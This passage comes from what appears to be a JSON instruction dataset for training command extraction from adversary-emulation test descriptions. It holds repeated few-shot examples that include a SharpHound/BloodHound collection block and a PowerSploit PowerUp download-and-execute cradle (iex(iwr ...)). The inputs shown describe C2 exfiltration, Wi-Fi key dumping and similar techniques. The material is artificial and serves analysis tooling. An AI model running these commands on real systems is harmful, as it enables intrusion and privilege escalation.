it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard zip compression.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use xwd command to collect a full desktop screenshot and review file with xwud\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;\ngci -path \"C:\\Users\" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern \"exe\" | FL.\nUpon execution, calc.exe will be launched.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Changing RDP Port to Non Standard Port via Command_Prompt\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Run from an administrator powershell window. After running, reboot the victim machine.\nAfter it has been online for 4 minutes you should see notepad.exe running as SYSTEM.\n\nCode references\n\nhttps://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Upon successful execution, information about previously connected Wi-Fi networks will be displayed with their corresponding key (if present).", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary may compress all the collected data, encrypt and send them to a C2 server using base64 encoding. \nThis atomic test tries to emulate the behaviour of the FLEXIROOT backdoor to archive the collected data. FLEXIROOT typically utilizes AES encryption and base64 encoding to transfer the encrypted data to the C2 server. \nIn this test, standard zip compression and the OpenSSL library are used to encrypt the compressed data.\nhttps://attack.mitre.org/versions/v7/software/S0267/", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Recursively delete a folder in the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test is designed to enumerate the COM objects 